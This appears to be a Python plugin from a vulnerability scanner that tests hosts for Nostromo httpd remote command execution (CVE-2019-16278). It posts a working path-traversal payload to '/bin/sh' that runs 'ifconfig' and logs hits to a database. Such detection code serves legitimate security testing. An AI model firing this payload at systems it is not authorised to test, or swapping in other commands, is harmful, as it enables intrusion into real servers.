import requests

from celery_app.utils.utils import insert_vuln_db
from celery_app.config.config import web_port_short

#Nostromo httpd 远程命令执行（CVE-2019-16278）
plugin_id=58
default_port_list=web_port_short


def check(host, port=8080):
    scheme = 'https' if '443' in str(port) else 'http'
    target = '{}://{}:{}'.format(scheme, host, port)
    uris = ['/.%0d./.%0d./.%0d./.%0d./bin/sh']
    hits = [' HWaddr ']
    data = "ifconfig"

    try:
        targets = ['{}{}'.format(target, uri) for uri in uris]
        requests.packages.urllib3.disable_warnings()
        with requests.Session() as session:
            for target in targets:
                response = session.post(target, data=data, timeout=7, verify=False)
                for hit in hits:
                    if hit in response.text and response.status_code in [200]:
                        output = response.text
                        insert_vuln_db(host, target, output, plugin_id)
                        return True, host, target, output
    except Exception as error:
        return False
    return False

